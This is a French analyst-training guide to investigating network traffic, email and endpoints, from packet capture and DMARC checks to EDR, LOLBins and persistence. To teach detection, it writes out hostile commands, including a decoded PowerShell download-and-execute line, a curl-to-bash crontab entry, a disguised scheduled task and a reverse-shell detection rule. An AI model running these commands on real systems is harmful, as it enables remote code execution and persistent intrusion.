Analyse de l’activité réseau, des courriels et des terminaux

Une capture de paquets enregistre les en-têtes et la charge utile qui parviennent à un capteur dans un fichier .pcap ou .pcapng. Elle peut montrer le contenu des échanges non chiffrés, ainsi que les adresses, les ports et les horaires. Collecte-la et stocke-la conformément à la politique de surveillance de l’organisation : une capture peut contenir des mots de passe et des données personnelles.

Choisis un point de capture utile

Un TAP réseau copie passivement le trafic d’une liaison. Un port SPAN demande à un commutateur de mettre en miroir les ports ou VLAN sélectionnés. SPAN peut perdre des copies lorsque sa sortie est surchargée ; un TAP qui agrège les deux sens peut aussi perdre des paquets si leur volume cumulé dépasse la capacité du port de surveillance. Une capture sur un hôte voit le trafic de cet hôte. Un capteur à la frontière avec Internet manque le trafic qui reste à l’intérieur du réseau. À l’extérieur du NAT, il voit une adresse publique partagée : conserve donc les enregistrements NAT pour identifier l’hôte interne.

Enregistre largement, examine de façon ciblée

Un filtre de capture détermine ce qui est enregistré. Un filtre d’affichage modifie la vue des paquets déjà enregistrés. Leurs syntaxes diffèrent :

En BPF, port 443 inclut aussi UDP, dont QUIC. Un filtre de capture restrictif peut écarter définitivement l’autre canal d’un attaquant. Un filtre d’affichage peut être retiré dès que l’investigation change de direction.

Pour une capture ciblée, utilise :

sudo tcpdump -i eth0 -nn -s 0 -w case42.pcap host 192.168.1.50 and not port 22

-i sélectionne l’interface ; -nn conserve les adresses et les ports sous forme numérique et évite les recherches de noms ; -s 0 conserve les paquets entiers ; -w écrit les paquets bruts. Le filtre exclut le port 22, par exemple la session SSH d’un analyste. Lis le trafic DNS enregistré avec tcpdump -nn -r case42.pcap port 53.

Dans Wireshark, dns affiche le trafic DNS et http.request les requêtes HTTP. Utilise tcp.flags.syn == 1 && tcp.flags.ack == 0 pour les tentatives initiales de connexion TCP, tls.handshake.type == 1 pour les messages TLS Client Hello et ip.dst == 10.0.0.0/8 pour les destinations de cette plage. frame contains "password" trouve ce texte dans les octets capturés. Combine les conditions avec &&, || et !.

Prévois la conservation et préserve les preuves

À 40 % d’utilisation, une liaison de 100 Mbit/s transporte 40 Mbit/s. En divisant par huit, on obtient 5 Mo/s ; sur 3 600 secondes, cela représente 18 000 Mo, soit 18 Go. Les tampons circulaires écrasent les captures les plus anciennes, tandis que les captures ciblées réduisent les besoins de stockage. Exporte les preuves utiles avant qu’un tampon ne les écrase.

TLS laisse visibles les adresses, les tailles, les horaires et les métadonnées disponibles de la négociation, mais cache le contenu applicatif, sauf si des clés de session ou un point d’inspection permettent d’y accéder. La visibilité du DNS et du nom de serveur dépend aussi des protocoles utilisés. Calcule l’empreinte SHA-256 de la capture originale, consigne l’interface et l’intervalle de capture, et analyse une copie. Vérifie la synchronisation des horloges et les statistiques de perte de paquets ; le compteur « dropped by kernel » de tcpdump révèle le trafic manqué par le système de capture.

Lis un paquet des informations externes d’acheminement jusqu’aux données applicatives. Sur Ethernet, Wireshark affiche les adresses MAC, puis les adresses IP et la durée de vie TTL, les ports TCP ou UDP et enfin DNS, HTTP, TLS ou un autre protocole applicatif. Le volet des détails permet d’ouvrir ces couches ; le volet des octets affiche leurs valeurs hexadécimales brutes.

Suis l’échange

TCP commence par SYN, SYN-ACK et ACK. Dans 10.0.0.23:51544 → 203.0.113.80:443 SYN, le port source élevé appartient au client. La réponse inverse les adresses et les ports. FIN demande une fermeture normale ; RST met fin brutalement à la connexion. Une réinitialisation en réponse à un SYN indique généralement un port fermé. L’absence de réponse peut résulter d’un filtrage, d’une perte ou d’un manque de visibilité : examine donc les paquets et l’emplacement de capture.

UDP n’a pas de négociation au niveau du transport. DNS utilise couramment UDP 53 et utilise aussi TCP 53, notamment pour les réponses volumineuses et les transferts de zone. Lis le type d’enregistrement demandé : A pour IPv4, AAAA pour IPv6, MX pour les serveurs de messagerie, TXT pour du texte et CNAME pour un alias. NXDOMAIN signifie que le nom demandé n’existe pas.

Une réponse DNS suivie d’une connexion à l’adresse IP qu’elle renvoie suggère un lien. Confirme le nom demandé à l’aide d’un en-tête HTTP Host, du SNI TLS visible, des enregistrements du proxy ou des données du terminal : plusieurs domaines peuvent partager cette adresse.

Reconstitue l’activité applicative

La fonction Suivre le flux TCP de Wireshark reconstitue un échange dans l’ordre et distingue les deux sens par des couleurs. Statistiques → Conversations classe les paires qui communiquent selon le nombre de paquets et d’octets ; Hiérarchie des protocoles montre la répartition des protocoles.

Supposons qu’un flux contienne :

GET /update.php?id=WS-0423 HTTP/1.1
Host: cdn-update.example.net
User-Agent: Mozilla/4.0

La réponse est 200 OK, déclare application/octet-stream et commence par MZ. Ces octets suggèrent un exécutable Windows. Le chemin .php peut renvoyer n’importe quel contenu ; il ne correspond pas nécessairement au nom du fichier téléchargé. Vérifie le type, l’empreinte et la signature de l’objet exporté, puis relie la requête à son processus et à l’historique de la destination.

Les requêtes GET récupèrent du contenu ; les requêtes POST envoient un corps. Lis ensemble l’en-tête Host, le chemin, le User-Agent, l’état de la réponse et les tailles des corps. Des corps de requêtes POST volumineux et répétés vers une nouvelle destination méritent une investigation. Les codes 301 et 302 redirigent le client, tandis que 404 indique une ressource manquante.

Fichier → Exporter les objets → HTTP, ou l’équivalent pour SMB, permet de récupérer des objets transférés lorsque le contenu non chiffré nécessaire est présent. Garde les échantillons récupérés dans l’environnement d’analyse isolé et consigne leurs empreintes.

Interprète correctement le trafic chiffré

Un Client Hello expose normalement le SNI, le nom de serveur demandé, sauf s’il est protégé par Encrypted Client Hello. TLS 1.2 expose le certificat du serveur pendant la négociation ; TLS 1.3 le chiffre. Les empreintes JA3 et JA4 résument les caractéristiques du Client Hello et peuvent aider à regrouper des clients similaires. Un nouveau certificat, l’absence de SNI ou une empreinte partagée constitue une piste à examiner selon le contexte du processus et de la destination.

Le port 443 suggère HTTPS, mais ne permet pas d’établir le protocole. Examine l’échange réel ou utilise Décoder comme lorsqu’un analyseur a besoin d’aide pour reconnaître un protocole sur un port inhabituel.

Les enregistrements de flux résument le trafic sans conserver sa charge utile. Ils permettent de rechercher facilement dans plusieurs semaines d’activité avant de récupérer une courte capture de paquets. Le quintuplet, ou tuple à 5 éléments, habituel comprend l’adresse IP source, l’adresse IP destination, le port source, le port destination et le protocole de transport. Les enregistrements contiennent aussi les horaires, les nombres observés et souvent les indicateurs TCP.

Comprends comment la source compte

NetFlow v5 possède un format IPv4 fixe ; NetFlow v9 utilise des modèles et prend en charge IPv6. IPFIX est la norme de l’IETF issue de cette approche par modèles. Les journaux de flux du cloud fournissent des synthèses réseau apparentées. sFlow échantillonne les paquets et ajoute des compteurs d’interface : ses observations doivent donc être extrapolées avec soin.

Avec un échantillonnage de 1 paquet sur 1 000, 1 200 paquets échantillonnés représentent environ 1,2 million de paquets. L’estimation décrit le volume ; une brève connexion peut ne laisser aucun paquet échantillonné. Un échantillon vide est un élément de preuve faible pour déterminer si une connexion particulière a eu lieu.

Les exportateurs enregistrent souvent chaque sens séparément et découpent les connexions longues lorsque les délais d’expiration des connexions actives sont atteints. Associe les enregistrements inverses en échangeant les deux adresses et les deux ports, tout en conservant le protocole. Regroupe ensuite les fragments appartenant à une même connexion. Additionne les octets séparément par sens et mesure le temps écoulé entre le premier début et la dernière fin. Additionner les durées d’enregistrements qui se chevauchent gonfle le temps.

Lis les enregistrements de connexion Zeek

Zeek produit des journaux structurés de connexion et de protocole. Dans conn.log, ts est l’heure de début et uid relie la connexion à des enregistrements comme http.log ou ssl.log. Les champs id.orig_h et id.orig_p désignent l’initiateur ; id.resp_h et id.resp_p désignent le répondant. L’initiateur a lancé l’échange et peut être un hôte externe. proto, service, duration, orig_bytes et resp_bytes décrivent le transport, l’application reconnue et l’activité.

Pour les tentatives sans réponse, Zeek peut indiquer zéro octet de charge utile alors que des paquets ont bien circulé. Les exportateurs de flux comptent généralement aussi les en-têtes IP : leurs nombres d’octets diffèrent donc. Lis le nombre de paquets et l’état en tenant compte de la définition documentée des champs d’octets.

Mesure un transfert sortant inhabituel

De 2 h 10 à 2 h 50 UTC, 10.0.0.23 envoie 2,4 Go à 198.51.100.7:443 et reçoit 12 Mo. Convertis 2,4 Go en 2 400 Mo : le volume sortant est 200 fois supérieur au volume entrant. Quarante minutes correspondent à 2 400 secondes : le débit sortant moyen est donc de 1 Mo/s, soit 8 Mbit/s.

Le débit ne constitue pas une conclusion. Compare le volume habituel de l’hôte, l’historique de ses destinations et son rôle. Une sauvegarde planifiée peut expliquer un transfert nocturne ; une nouvelle destination et un processus d’envoi non approuvé renforcent l’hypothèse d’un vol de données. Poursuis l’investigation dans l’EDR pour trouver le processus responsable, dans les données DNS ou du proxy pour le nom, et dans les paquets pour le contenu s’ils sont disponibles. Une référence de fonctionnement doit comparer des rôles similaires : un serveur de sauvegarde et le poste d’un réceptionniste ont des trafics normaux différents.

Les schémas réseau indiquent où mener une investigation. Un scanneur approuvé et un intrus peuvent créer des paquets très similaires.

Reconnais la forme du trafic

Un balayage vertical sonde de nombreux ports sur un même hôte. Un balayage horizontal sonde le même port sur de nombreux hôtes. Si 10.0.0.99 envoie des SYN vers 1 000 ports sur 10.0.0.5 en 12 secondes, le rythme est d’environ 83 tentatives par seconde. De nombreux enregistrements S0 ou REJ et quelques connexions réussies correspondent à un balayage. Vérifie l’inventaire des scanneurs et le calendrier autorisé.

Un équipement non autorisé est connecté sans autorisation. Compare les nouveaux baux DHCP et les adresses MAC à l’inventaire des actifs ; un préfixe fabricant inconnu, un point d’accès non autorisé ou un second serveur DHCP exige une investigation. Le NAC aide à contrôler quels équipements peuvent se connecter.

Évalue les services selon le rôle de l’hôte. SSH utilise généralement le port 22, SMTP le 25, DNS le 53, HTTP le 80, HTTPS le 443, SMB le 445, RDP le 3389 et WinRM les 5985/5986. Du trafic SMTP sortant directement d’un poste de travail peut indiquer un programme automatisé de diffusion de courriers indésirables. Des connexions SMB ou RDP d’un poste vers de nombreux autres peuvent indiquer un déplacement latéral. Vérifie quel service est réellement présent.

Distingue les minuteries de l’activité utilisateur

Des connexions à 10:00:00, 10:05:02, 10:09:59, 10:15:01 et 10:20:00 présentent des intervalles de 302, 297, 302 et 299 secondes. La moyenne est de 300 secondes et la dispersion est d’environ deux secondes. De petits échanges similaires à ces intervalles suggèrent une minuterie. Le beaconing est un contact répété avec un serveur C2 ; les agents de mise à jour utilisent aussi des minuteries. Trouve le processus initiateur et le rôle de la destination. Un logiciel malveillant peut ajouter de la gigue, par exemple ±20 %, si bien qu’un schéma moins régulier mérite aussi de l’attention.

Examine les usages abusifs du DNS

Un tunnel DNS place des données dans les noms des requêtes, souvent avec de longues parties encodées et de nombreux sous-domaines distincts. Une partie peut contenir au maximum 63 caractères ; un nom complet ordinaire sous forme textuelle est limité à 253 caractères. Des requêtes TXT ou NULL répétées et un volume élevé renforcent cette hypothèse. De nombreux noms d’apparence aléatoire qui renvoient NXDOMAIN suggèrent qu’un DGA essaie des noms jusqu’à ce que l’un d’eux soit résolu. Le DNS sur HTTPS externe peut aussi soustraire l’activité aux journaux DNS habituels de l’organisation.

Lis et vérifie une règle

alert tcp $HOME_NET any -> $EXTERNAL_NET 4444 (msg:"Possible reverse shell to port 4444"; flow:to_server,established; sid:1000001; rev:1;)

L’en-tête indique qu’une alerte doit être déclenchée pour le trafic TCP allant du réseau interne vers le port externe 4444. La condition flow exige du trafic établi vers le serveur ; sid identifie la règle et rev sa révision. Le message évoque un possible interpréteur de commandes inversé, mais cette règle vérifie un schéma de connexion, pas les commandes d’un interpréteur.

Snort et Suricata comparent le trafic à des règles ; Zeek fournit principalement des journaux et des scripts comportementaux. Vérifie une alerte IDS à l’aide de ses paquets, de la plateforme de la cible et des changements sur le terminal après l’échange. Le mode détection observe des copies ; un IPS placé en ligne peut bloquer le trafic, si bien qu’une correspondance erronée peut perturber l’activité.

L’adresse visible par le lecteur et l’identité vérifiée pendant la remise du courriel sont des champs différents. Commence par le fichier .eml ou .msg original afin de conserver les en-têtes qu’une copie transférée peut remplacer. Un analyseur d’en-têtes peut organiser les éléments de preuve, mais tu dois toujours savoir quel serveur a produit chaque résultat.

Identifie les identités et les relais fiables

L’expéditeur de l’enveloppe SMTP sert aux messages de non-remise et apparaît dans Return-Path. L’en-tête From indique l’expéditeur visible. Reply-To détermine où vont les réponses et Message-ID aide à retrouver les enregistrements de messagerie associés. Un service de diffusion peut légitimement utiliser un domaine d’enveloppe différent du domaine visible de son client.

Chaque relais ajoute une ligne Received en tête. Lis la séquence du parcours de bas en haut, mais établis la confiance à partir des entrées de ta propre passerelle : un expéditeur peut falsifier les lignes situées sous la première entrée fiable. Un champ facultatif X-Mailer est lui aussi contrôlé par l’expéditeur. Utilise l’adresse IP expéditrice enregistrée par ton serveur de réception fiable.

Applique les trois vérifications

Un enregistrement SPF TXT comme v=spf1 ip4:192.0.2.0/24 include:_spf.example.net -all autorise cette plage et les expéditeurs inclus. -all donne un échec aux autres expéditeurs ; ~all donne un échec souple. Les résultats peuvent aussi être neutral, none, temperror ou permerror. Le transfert fait souvent échouer SPF, car l’adresse IP du serveur de transfert n’est pas autorisée par le domaine de l’enveloppe d’origine.

Dans DKIM, d= indique le domaine signataire et s= sélectionne sa clé à l’adresse <selector>._domainkey.<domain>. Une signature valide signifie que les éléments signés sont restés inchangés. Le transfert peut la préserver, tandis qu’une réécriture du message peut l’invalider.

L’alignement DMARC souple accepte un même domaine organisationnel ; l’alignement strict exige une correspondance exacte des domaines. La politique TXT à l’adresse _dmarc.<domain> peut demander none, quarantine ou reject ; le destinataire décide du traitement. La RFC 9989 a remplacé l’ancienne norme DMARC en mai 2026, supprimé pct et introduit le mode de test t=y. Vérifie une politique avec nslookup -type=txt _dmarc.example.com.

Analyse un résultat d’authentification

Ta passerelle indique une réussite SPF pour mailer.example-billing.net, une réussite DKIM pour example-billing.net et un domaine From examp1e.com. Aucun des deux domaines ayant réussi n’est aligné sur le domaine visible : DMARC échoue donc. SPF et DKIM ont authentifié des identités différentes ; ils n’ont pas authentifié cette adresse visible.

Lis uniquement l’en-tête Authentication-Results ajouté par une passerelle fiable. Un domaine ressemblant appartenant à un attaquant et correctement configuré peut réussir les trois vérifications, tout comme une boîte aux lettres légitime compromise. Combine l’authentification avec l’historique de l’expéditeur, le contenu du message et l’analyse des liens. À l’inverse, vérifie si un transfert ou des modifications par une liste de diffusion expliquent un échec avant de conclure à une usurpation.

L’hameçonnage cherche à transformer un message en action nuisible : divulguer des identifiants, envoyer de l’argent ou exécuter un fichier. L’indice le plus fort est souvent un écart par rapport au processus habituel du destinataire. Un attaquant peut facilement fournir un texte fluide et un nom familier.

Lis attentivement l’expéditeur et la destination

L’usurpation du nom affiché place un nom de confiance au-dessus d’une adresse sans rapport, comme "IT Service Desk" <it.desk.2291@freemail.example>. Le typosquattage modifie l’orthographe d’un domaine ; les domaines cousins ajoutent des mots rassurants. Les homoglyphes remplacent des caractères par des caractères similaires d’autres alphabets. Une première lettre cyrillique fait de аpple.com un domaine différent ; sa forme punycode est xn--pple-43d.com.

Le libellé visible d’un lien peut différer de sa cible réelle. Les raccourcisseurs et les redirections ouvertes masquent les destinations suivantes. Dans https://www.example.com@198.51.100.7/login, l’hôte est 198.51.100.7 ; la partie avant @ contient des informations utilisateur. Dans https://example.com.login-verify.net/, le domaine enregistré est login-verify.net. Lire les mots rassurants tout à gauche conduit à identifier à tort la personne qui contrôle la destination.

Reconnais l’action demandée

L’urgence, la prétendue autorité d’un dirigeant, les menaces de fermeture de compte, les cartes-cadeaux et les changements de coordonnées bancaires poussent tous le destinataire à contourner les vérifications établies. L’hameçonnage ciblé utilise des renseignements sur une cible précise ; la chasse à la baleine vise les dirigeants. Parmi les modes de diffusion apparentés figurent l’hameçonnage par SMS, par appel vocal et par code QR. Un code QR peut transférer un lien vers un téléphone, hors du filtrage des liens de courriels.

Les pièces jointes peuvent contenir des documents à macros, des pages de connexion HTML ou de la contrebande HTML, des archives protégées par mot de passe, des images disque, des raccourcis LNK ou des PDF contenant des liens. Les versions récentes d’Office bloquent par défaut les macros dans les fichiers signalés comme provenant d’Internet : les messages peuvent donc expliquer aux utilisateurs comment lever le blocage. Un mot de passe d’archive gêne l’inspection, même si certaines passerelles peuvent l’extraire du message et analyser le contenu.

Examine une fraude au paiement sans logiciel malveillant

La fraude au courriel professionnel, ou BEC, usurpe l’identité d’un collègue, d’un dirigeant ou d’un fournisseur pour obtenir de l’argent, une modification des coordonnées de paiement ou des informations sensibles. Elle peut utiliser une adresse ressemblante ou une véritable boîte aux lettres compromise. Elle ne contient souvent ni lien ni pièce jointe, laissant peu à examiner aux scanneurs. Un Reply-To modifié ou une nouvelle règle masquant les réponses constitue un élément de preuve complémentaire utile.

Dans un fil existant consacré à une facture, un fournisseur connu demande qu’un paiement de 48 000 € soit envoyé sur un nouveau compte bancaire. L’authentification réussit. La boîte aux lettres a été compromise et l’attaquant a utilisé le détournement de fil de discussion pour profiter de la confiance établie dans la conversation. Vérifie la demande à l’aide d’un numéro de téléphone déjà présent dans la fiche du fournisseur avant de modifier les coordonnées de paiement. Un numéro fourni dans le message fait partie de la demande non vérifiée.

Une adresse interne peut aussi être compromise ; inclus les destinataires et les réponses internes dans l’investigation sur le compte.

Une investigation sur un hameçonnage a deux objectifs : comprendre le message et retrouver toutes les personnes qu’il a touchées. Une copie signalée est un point de départ. L’action effectuée par un destinataire détermine les preuves à rechercher ensuite sur son compte ou son hôte.

Préserve et examine le message

Exporte le message original avec ses en-têtes complets, puis copie les URL sous forme de texte pour les examiner dans un environnement d’analyse isolé. Consigne les indicateurs sous forme neutralisée, comme hxxps://login-verify[.]net/acct, afin d’éviter les clics accidentels dans les tickets. Préserve l’original intact à côté de la copie de travail.

Les passerelles de messagerie peuvent inclure une URL dans le paramètre d’une autre URL. L’encodage pour cent représente les caractères par un signe pour cent et deux chiffres hexadécimaux : %3A correspond à deux-points et %2F à une barre oblique. Décode une couche à la fois et examine le résultat avant d’en interpréter une autre.

Par exemple, le décodage URL de :

https%3A%2F%2Flogin-verify.net%2Facct%3Fu%3DamFuZUBleGFtcGxlLm9yZw%3D%3D

donne https://login-verify.net/acct?u=amFuZUBleGFtcGxlLm9yZw==. Le décodage Base64 de la valeur u donne jane@example.org. Le paramètre identifie le destinataire visé et peut personnaliser la fausse page. Les opérations URL Decode, From Base64 et Defang URL de CyberChef rendent visibles ces transformations distinctes.

Avant de soumettre une URL à un service public, retire les valeurs qui identifient la victime ; un résultat public ou une requête personnalisée peut révéler l’investigation à l’attaquant. Prévisualise les liens raccourcis à l’aide d’un service d’analyse approuvé. La visibilité et le comportement du service lors de la soumission comptent autant que l’URL elle-même.

Examine les fichiers et extrais les champs de recherche

Calcule l’empreinte SHA-256 d’une pièce jointe et recherche sa réputation avant de la téléverser. Vérifie son type à partir des premiers octets. Pour un fichier Office, olevba peut répertorier les macros et repérer les déclencheurs automatiques comme AutoOpen ou Document_Open, ainsi que les appels comme Shell. Utilise un bac à sable privé pour les contenus internes confidentiels.

Recueille l’adresse et le nom affiché de l’expéditeur, l’adresse IP dans l’entrée Received fiable, l’objet, le Message-ID, les hôtes et chemins des URL, ainsi que les noms et empreintes des pièces jointes. Garde les valeurs exactes dans les preuves ; utilise des copies neutralisées dans les notes. Un nom de fichier peut changer d’un message à l’autre, tandis qu’une empreinte identique relie des contenus de fichier identiques.

Détermine les destinataires et leurs interactions

Recherche dans les enregistrements de la passerelle et des boîtes aux lettres à l’aide de plusieurs de ces champs. Répertorie les destinataires, puis distingue la remise du message des interactions à l’aide des enregistrements DNS et du proxy, des connexions après visite du lien et des événements EDR relatifs à l’ouverture et à l’exécution des pièces jointes.

Une recherche peut trouver 40 messages remis, six personnes ayant visité le lien et deux comptes ayant connu des connexions réussies inhabituelles quelques minutes plus tard. Préserve les enregistrements, supprime les messages de la campagne et bloque l’URL ou le domaine malveillant dans le cadre du processus de réponse. Les deux comptes touchés nécessitent une réinitialisation des mots de passe et une révocation des sessions actives. Une simple liste de destinataires ne montrerait pas la différence entre exposition et compromission probable.

Clore le ticket parce que l’utilisateur à l’origine du signalement a supprimé le message laisse les autres destinataires sans examen. Consigne qui l’a reçu, qui a interagi, ce qui a suivi et quelles preuves manquent encore.

La télémétrie des terminaux relie les preuves réseau et les fichiers au programme qui en est à l’origine. L’EDR enregistre l’activité des terminaux, détecte les comportements suspects et permet l’investigation et la réponse à distance. Son historique peut révéler une activité que l’état actuel d’un fichier ne montre plus.

Choisis la bonne source

L’antivirus traditionnel se concentre sur le blocage des fichiers connus comme malveillants. L’EDR ajoute l’historique des processus, fichiers, registres, connexions et ouvertures de session. Le XDR rassemble les preuves provenant des terminaux et des sources réseau, de messagerie, d’identité et du cloud. Le MDM gère les téléphones et les tablettes : son inventaire et ses enregistrements de conformité peuvent révéler des applications non approuvées, un accès root ou un débridage, et il permet des actions comme le verrouillage ou l’effacement d’appareils.

Les événements du journal de sécurité Windows fournissent des repères utiles :

L’événement système 7045 enregistre aussi l’installation d’un service. Windows stocke les événements dans des fichiers .evtx qui peuvent être exportés pour des recherches structurées. Sous Linux, utilise auditd, les journaux d’authentification et le journal système.

Utilise l’identité de processus de Sysmon

Sysmon est disponible comme fonctionnalité facultative intégrée à Windows 11 et Windows Server 2025 et comme téléchargement Sysinternals pour les autres systèmes. L’événement 1 enregistre la création d’un processus avec la ligne de commande complète, le parent, les empreintes et un GUID de processus. Ce GUID distingue les différents processus même lorsque le système d’exploitation réutilise un PID.

Les autres événements utiles sont 3 pour les connexions réseau, 11 pour la création de fichier, 12–14 pour les modifications du registre et 22 pour les requêtes DNS. L’événement 3 est désactivé par défaut, car il peut générer un volume important. Vérifie la configuration active avant d’interpréter l’absence d’un événement comme une absence d’activité.

Pars d’une alerte pour poursuivre l’investigation

Commence par l’hôte, l’utilisateur, la détection et l’arbre des processus. Identifie ce qui a lancé le processus, ce que celui-ci a lancé et les fichiers, valeurs de registre et destinations qu’il a utilisés. Étends la chronologie avant et après l’alerte ; l’horodatage d’une détection ne correspond pas nécessairement au début de l’intrusion.

Pars d’une empreinte pour trouver tous les hôtes qui possèdent ce fichier, ou d’une destination pour trouver tous ceux qui l’ont contactée. La prévalence apporte du contexte : un programme inconnu sur un hôte parmi 5 000 est inhabituel, tandis qu’un logiciel présent sur tous les hôtes peut être déployé de façon standard. Compare les deux cas aux logiciels approuvés et aux comportements attendus ; une activité malveillante étendue peut elle aussi avoir une prévalence élevée.

Ordonne les actions de réponse et vérifie la visibilité

L’EDR peut isoler un hôte, arrêter un processus, mettre en quarantaine ou recueillir un fichier, bloquer une empreinte et ouvrir une session d’investigation à chaud. L’isolement conserve normalement la connexion de gestion tout en restreignant les autres accès réseau. Suis le scénario de réponse et recueille les preuves nécessaires avant les actions qui détruisent la mémoire des processus ou modifient les fichiers.

Vérifie l’état de fonctionnement du capteur lorsque la console semble silencieuse : installation, transmissions récentes, configuration et signes d’altération. Un agent arrêté crée une lacune de visibilité et peut lui-même faire partie de l’intrusion.

Le nom d’un processus n’est qu’un champ parmi d’autres dans une investigation. Vérifie ensemble le chemin de son exécutable, son parent, son utilisateur, sa ligne de commande, sa signature et son empreinte. Conserve le PID avec son heure de démarrage, ou utilise un GUID de processus, pour éviter de relier différents processus ayant réutilisé le même PID.

Compare le nom, le chemin et le parent

Un svchost.exe normal s’exécute depuis C:\Windows\System32, est lancé par services.exe et possède normalement un argument de groupe -k. lsass.exe s’exécute depuis le même répertoire système en une seule instance, lancée par wininit.exe ; services.exe a aussi ce parent. Explorer s’exécute normalement pour chaque utilisateur connecté et son parent userinit.exe se termine. L’absence d’un parent encore actif pour Explorer doit donc être interprétée autrement que le lancement d’un processus système par Word.

Un nom très proche comme scvhost.exe, un nom système dans C:\Users\Public ou un parent inhabituel pour LSASS suggère un camouflage. Office qui lance un interpréteur de commandes est une autre piste sérieuse : suis WINWORD.EXE ou EXCEL.EXE jusqu’à cmd.exe, PowerShell, wscript.exe ou mshta.exe. Sur un serveur Web, w3wp.exe qui lance un interpréteur de commandes suggère un web shell.

Lis ce qu’on demande aux outils signés

Les LOLBins sont des programmes système légitimes détournés par un attaquant. certutil.exe peut télécharger un fichier avec -urlcache -split -f ; mshta.exe peut exécuter une application HTML depuis une URL ; rundll32.exe et regsvr32.exe peuvent exécuter du code de DLL ou de script. bitsadmin.exe peut transférer des fichiers et wmic process call create lance des processus. Leurs signatures valides indiquent les éditeurs des programmes, tandis que le parent et les arguments révèlent leur utilisation dans ce cas.

Les options PowerShell comme -nop, -w hidden, -ExecutionPolicy Bypass et -enc méritent un examen attentif. IEX exécute du texte comme du code ; iwr et DownloadString récupèrent du contenu. La journalisation des blocs de script, événement 4104, peut révéler le contenu décodé des scripts.

Décode avant de juger

PowerShell -EncodedCommand utilise du texte UTF-16LE encodé en Base64. Pour -enc aQB3AHIAIABoAHQAdABwADoALwAvADEAOQA4AC4ANQAxAC4AMQAwADAALgA3AC8AYQAuAHAAcwAxACAAfAAgAGkAZQB4AA==, applique From Base64 dans CyberChef, puis Decode text réglé sur UTF-16LE. Le résultat est :

iwr http://198.51.100.7/a.ps1 | iex

iwr récupère le script et le pipeline le transmet à iex pour exécution. Cela permet d’exécuter du code sans enregistrer le script téléchargé dans un fichier. Des lettres séparées par des octets nuls après le décodage Base64 indiquent qu’il manque l’interprétation UTF-16LE.

Retrace une chaîne de processus dans l’ordre : Outlook ouvre invoice.docm dans Word ; Word lance un interpréteur de commandes ; PowerShell contacte le serveur et écrit upd.exe ; le nouvel exécutable démarre son propre trafic. Relie chaque étape aux événements enregistrés. Un agent de déploiement signé peut aussi utiliser du PowerShell encodé pour une installation approuvée : examine donc le contenu décodé et l’autorisation.

Sous Linux, examine les exécutables dans /tmp ou /dev/shm, curl transmis à bash par un pipeline, un interpréteur de commandes redirigé vers un socket distant ou /proc/<pid>/exe marqué « (deleted) ». Un processus utilisateur nommé [kworker/0:1] est suspect s’il possède un exécutable sur disque : les vrais fils d’exécution du noyau descendent de kthreadd, PID 2, et n’ont pas de fichier exécutable.

La persistance donne à un attaquant un moyen de retrouver une capacité d’exécution ou un accès après des interruptions comme une fermeture de session ou un redémarrage. Un hôte peut contenir plusieurs mécanismes, chacun doté d’un déclencheur distinct. Consigne l’emplacement, la cible, les horodatages et l’empreinte du fichier avant de supprimer une entrée.

Examine les emplacements de démarrage automatique sous Windows

Les clés Run sous HKCU\Software\Microsoft\Windows\CurrentVersion s’appliquent à l’utilisateur actuel ; celui-ci peut les modifier sans droits d’administrateur. La clé Run HKLM correspondante s’applique à tous les utilisateurs et exige des droits élevés pour être modifiée. RunOnce permet une exécution unique ; HKLM RunOnce s’exécute lorsqu’un administrateur ouvre une session après un redémarrage. Les entrées Run se déclenchent à l’ouverture de session, pas lorsqu’un fichier est copié sur le disque.

Les dossiers de démarrage lancent aussi du contenu à l’ouverture de session. Vérifie le dossier AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup de l’utilisateur et le dossier partagé C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp. Les événements de registre Sysmon 12–14 et l’événement de fichier 11 aident à dater ces modifications.

Les tâches planifiées peuvent se déclencher à intervalles réguliers, à une heure donnée ou lors d’un événement :

schtasks /create /sc minute /mo 30 /tn "GoogleUpdateTaskCore" /tr "C:\Users\Public\upd.exe"

Cette commande exécute la cible toutes les 30 minutes, soit 48 fois par jour. Le nom rassurant de la tâche n’identifie pas l’éditeur de la cible. Examine l’événement de sécurité 4698 lorsque l’audit est activé, le journal opérationnel du Planificateur de tâches et les définitions sous C:\Windows\System32\Tasks.

Les services peuvent démarrer au lancement du système, souvent en tant que SYSTEM. Examine l’événement système 7045 ou l’événement de sécurité 4697 et le chemin d’image configuré. Un nouveau service qui se lance depuis un dossier public ou exécute PowerShell mérite de l’attention.

Les abonnements aux événements WMI relient un filtre d’événement à une action de consommateur et peuvent assurer la persistance sans fichier de démarrage ; Sysmon 19–21 enregistre leurs composants et leur liaison. Examine aussi les nouveaux comptes et les appartenances au groupe des administrateurs, les fichiers du serveur Web, les extensions de navigateur et les DLL inattendues chargées par détournement de l’ordre de recherche.

Vérifie Linux et macOS

Sous Linux, examine crontab -l pour chaque utilisateur, /etc/crontab, /etc/cron.d/, les fichiers d’unité systemd dans /etc/systemd/system/, les fichiers de démarrage de l’interpréteur de commandes et ~/.ssh/authorized_keys. Répertorie les unités avec systemctl list-unit-files. macOS utilise des LaunchAgents et des LaunchDaemons avec des définitions sous forme de listes de propriétés ; vérifie leurs programmes et déclencheurs configurés.

Dans une crontab utilisateur, */10 * * * * curl -s http://198.51.100.7/s.sh | bash télécharge et exécute un script toutes les 10 minutes. Les champs indiquent la minute, l’heure, le jour du mois, le mois et le jour de la semaine. Une nouvelle clé SSH crée une autre voie d’accès, même après une réinitialisation du mot de passe.

Compare et relie les constats

Autoruns rassemble de nombreux emplacements de démarrage automatique Windows dans une même vue. Masquer les éditeurs de confiance peut réduire le nombre d’entrées lors d’un premier passage, mais réexamine les entrées signées lorsque d’autres preuves les mettent en cause. Compare avec un hôte sain issu de la même image et avec la référence de fonctionnement approuvée.

Par exemple, une valeur Run appelée OneDriveUpdate pointe vers un fichier odu.exe non signé dans le profil itinérant d’un utilisateur. Les heures de création du fichier et de la valeur de registre sont 9 h 15 UTC, une minute après l’exécution d’une macro suspecte. Cette concordance temporelle et le chemin de la cible relient l’entrée de démarrage automatique à l’intrusion. Continue à examiner les autres emplacements après l’avoir trouvée : une tâche planifiée ou un service pourrait restaurer la même charge utile.

Un hôte compromis présente des modifications au-delà de son arbre des processus. Recherche les nouveaux fichiers et logiciels, les paramètres de sécurité affaiblis, l’utilisation inhabituelle des ressources et les fichiers rassemblés en vue d’un transfert. Compare ces éléments au rôle de l’hôte et à l’ordre des événements.

Lis les modifications des fichiers et leur provenance

